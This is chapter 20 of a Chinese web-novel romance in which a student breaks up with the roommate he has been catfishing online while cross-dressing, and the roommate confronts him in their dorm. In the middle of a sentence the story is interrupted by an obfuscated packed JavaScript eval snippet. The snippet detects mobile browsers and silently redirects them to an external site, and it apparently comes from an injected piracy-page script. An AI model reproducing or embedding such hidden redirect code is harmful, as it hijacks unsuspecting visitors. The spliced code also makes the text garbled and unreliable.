20. 第 20 章
作品:《女装网恋室友不可取》 即使这是江栖让精心挑选的餐厅,有心事的黎知也食之无味,他胡乱吃了些,告诉江栖让:“我吃不下了。”
往常总是能吃很多,比江栖让还吃得多,这让江栖让很疑惑:“不喜欢吗?”
黎知摇头,“下午已经吃很多了。”
看黎知实在不愿意吃,江栖让只好把他带回家了
他想和黎知好好谈谈,但黎知一回家就把卧室门紧闭,也不给江栖让开门。
江栖让耐心地等了将近半小时,黎知终于打开门,背上还背着一个鼓鼓囊囊的大包,他告诉江栖让:“我要回学校了。”
江栖让不明白他为什么突然要走,往常就算是回学校,他也不会把自己的行李全部拿走,现在的样子,好似他去了就不会再来江栖让家里一样.
江栖让的第一反应是拦住他,然后问清楚,黎知却含糊其辞:“我真的要回去了,我有事。”
他和江栖让这么强调,江栖让不太确定地问:“你去了还会回来吗?”
黎知点了点头。
江栖让这才放黎知走。
黎知说谎了,他心神不宁地离开江栖让家,很怕被追上来,但是他不得不这么做。
分明是初冬的冷天,黎知跑回宿舍却出了一身的汗,他吓得心扑通扑通跳,果然人做了坏事是要遭报应的。
现在江栖让想脚踏两条船,一个踏的是女装的黎知,一个是黎知本人,报应这不就到了。
他此时无比后悔,当初就不该骗江栖让,也不该使坏,弄得他现在到了进退两难的地步。
周末的宿舍没有人,黎知在宿舍急得团团转,手机“叮咚”两声,他收到了两条信息。
黎知闭上眼睛,偷偷从缝隙中瞄上一眼,江栖让分别给他的小号和大号都发了消息。
大号说:昨天晚上你亲我了,你还记得吗?
黎知:!
他昨晚醉了,记忆模糊,醒来后也只有一点点印象,他以为是自己最近心火旺,幻想出来的梦,没想到是真的。
这也是为什么今天江栖让牵他手的时候,他这么敏锐地想到了那方面,没办法,昨晚的梦太劲爆了。
可是江栖让为什么不今天一早就说,非要拖到现在呢。
黎知戳字回复:我记不得了,你应该是做梦吧,我没有亲过你。
如果江栖让识相一点,不要来找他就好了。
黎知瘪着嘴,心情跌落到谷底,切屏看小号的消息。
江栖让给他小号发的是:明天可以见一面吗,有事想和你说。
黎知绝望地闭上眼,看,最终还是玩脱了,他完蛋了。
黎知翻了翻他们的聊天记录,这些天黎知每天一天三次打卡,每天敷衍地喊着“老公亲亲”“老公早安午安晚安”,江栖让也只是机械地给他转账。
这样的话,分手应该挺容易吧。
黎知飞快打字,几次删删减减,不敢发过去。
拖了很久,拖到钟楼的钟点指向零点,“当当当”几声巨响后,黎知闭上眼,发了过去。
纯情小猫咪:我们分手吧。
发完消息,他火速拉黑江栖让,大号小号一起拉黑,然后躲在床上装死。
等了很久,没等到踹门的声音,黎知终于惊魂未定地拍拍胸口,彻底松了一口气。
这件事应该就这么过去了,他觉得江栖让应该也不是那么喜欢“纯情小猫咪”,他只是腿控,而且他没有表现出爱得死去活来的样子,分手对他来说应该就是洒洒水。
微信删除以后,江栖让没办法顺着网线找到他,只要不知道对面是黎知,黎知就是安全的。
网恋失联的事情这么多,也该江栖让涨涨教训。
至于昨晚的亲吻,黎知记得自己明明只亲了一下,后面都是江栖让压着他亲,要怪也应该是黎知怪江栖让,他不找江栖让的麻烦就算好了,江栖让竟然还敢来找他?
黎知越想越觉得理直气壮,带着对江栖让的谴责,非常心安理得地入睡了。
黎知这一觉睡得不是很好,做的梦千奇百怪,一会儿梦见江栖让把他压在床上亲,一会儿梦见江栖让张出血盆大口把他吞了,一会儿梦见江栖让说他是骗子,要他以身相许。
黎知挣扎着醒来,已经快到中午,他昨天玩了一整天,累得腿酸,沾枕头就睡。
他睁开眼的第一时间是看了眼微信,确定江栖让没有诈尸给他发信息,放心地笑了。
肚子饿,黎知赖了一会儿床,拉开床帘要下床,视线却先落在了下方的人身上。
江栖让穿着一身黑衣,静静地靠在他的书桌旁,听见声响,他抬起了头。
对视的那一眼,黎知看见他眼底的红血丝,眼下乌黑,他可能昨晚没睡好。
江栖让确实没睡好。
他无论怎么想也想不到,黎知竟然会亲了不肯认,不仅不肯认,还要和他分手,甚至想把他女装的事情瞒过去。
昨晚收到消息,江栖让不可置信地想发消息问问黎知,消息发出去却是个红色感叹号,黎知把他拉黑了。
气极的江栖让第一时间赶到学校,然而学校校门已经关闭,不让江栖让进去。
江栖让给黎知发了无数条信息,皆是拒收,打电话也是显示无法接通。
江栖让站在校门口吹了很久的冷风,久到他的心都凉了下来,如同置身冰雪,什么都比不上黎知的狠心,他越等越心寒,恨不得把黎知拖出来揍一顿。
可是一想到黎知那双水汪汪的眼睛,江栖让又舍不得揍他了,只想把他抓回来,让他认错。
凌晨,江栖让在学校附近开了一家酒店住下,以免自己在外面冻死。
他翻看黎知和他的聊天记录,发现黎知一直目标明确,好像一开始就是奔着他钱来的。
或许还有那么一丝捉弄的心思,但是昨天意识到危险,他就很果断地提出了分手。
甚至昨天晚上,黎知还亲亲热热给他发“老公亲亲”,这才一天,就狠心地和他提了分手。
江栖让冷笑,“小骗子。”
等他抓到黎知,一定会让黎知付出代价。
第二天一早,江栖让卡点进了学校,经过一晚上,他其实没有最开始那么生气了,只是想问黎知要个说法。
江栖让回到宿舍,掀开黎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203271|181247||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知的床帘看了一眼,黎知正闭着眼,脸色红润,睡得正香。
他也是个心大的,这样都能睡着。
倒是江栖让,被他折腾得一夜没睡,回宿舍看黎知睡觉来了。
江栖让想把他叫醒,手都已经伸到了黎知的上方,最后还是没有叫醒黎知。
他收回手,在黎知的桌前站定,脑海中还在不断过着昨天黎知给他发的信息,越想越来气,想把床上的小骗子叫醒,看他哭,还是没舍得。
他连吵醒黎知都舍不得,更别说找他麻烦了,不过都是想知道,黎知到底是什么心思,到底只是单纯想骗他钱,还是真的有那么一点点的真心。
江栖让很有耐心,等到黎知睡醒,看他懵懵懂懂地眯着眼往下探头,看见江栖让的那一刻,眼睛都瞪圆了。
那里面有心虚,有忐忑,还有那么一点点惊恐。
江栖让笑了。
黎知看到江栖让的笑容差点被吓尿,江栖让一身黑站在宿舍中间,眼里还有血丝,如鬼魅一般,好像下一刻就要取黎知的性命。
黎知吓得抖了抖,还要装模作样:“你怎么来了。”
一个字都要抖上几抖,害怕得都要哭了。
江栖让只是朝他歪了歪头:“我为什么来,你不知道吗?”
黎知嘴硬:“不知道。”
说完不知道,他的视线却突然落到了江栖让身旁的那堆裙子上。
黎知顿时吓得脸色都惨白了,脸上失去了所有血色,江栖让还没开口,他就不打自招:“对不起。”
说话带着哽咽,仿佛是江栖让欺负了他,明明是他自己渣了江栖让。
听到黎知开口的那一刻,江栖让最后的气也消散得差不多了,尤其黎知要哭不哭,更让江栖让刹那间心软得不成样子。
他能拿黎知怎么办,凶也凶不得,打也打不得,他还什么都没说呢,黎知就要被吓哭了。
可是,这件事可不是黎知哭哭就能好的。
江栖让俯身,把桌上那一堆裙子抱起,黎知委屈巴巴地接过,愣愣地抱着,眼泪要掉不掉地看着江栖让。
江栖让拍拍他的腿,让他往里挪,黎知就乖乖挪进去,让江栖让上了他的床。
宿舍的床并不大,江栖让进来以后,床上就变得狭窄很多,只要稍微一动就能碰到对方。
黎知缩成了鹌鹑,一句话也不说,只顾着掉眼泪。
江栖让动了一下,他立刻吓得认错:“对不起,我不是故意的骗你的。”
咬着唇,眼泪哗啦啦掉,好像江栖让刚才揍了他一顿。
江栖让:“……”
他只能抬着下巴,强装冷硬:“这事情没那么容易过去,你说说,这事该怎么解决。”
黎知哭得更厉害了,眼泪把裙子打湿,他抽噎着说:“我把钱还你,我不是故意的,我错了。”
“不行。”江栖让依旧冷硬。
黎知天都要塌了,怎么还不行,他都认错了,江栖让还不愿意放过他。
他哭唧唧地抬眸,眼睫毛被眼泪沾得一缕一缕的,眼睛湿润,结结巴巴地问:“那…那你…要怎么办嘛…”

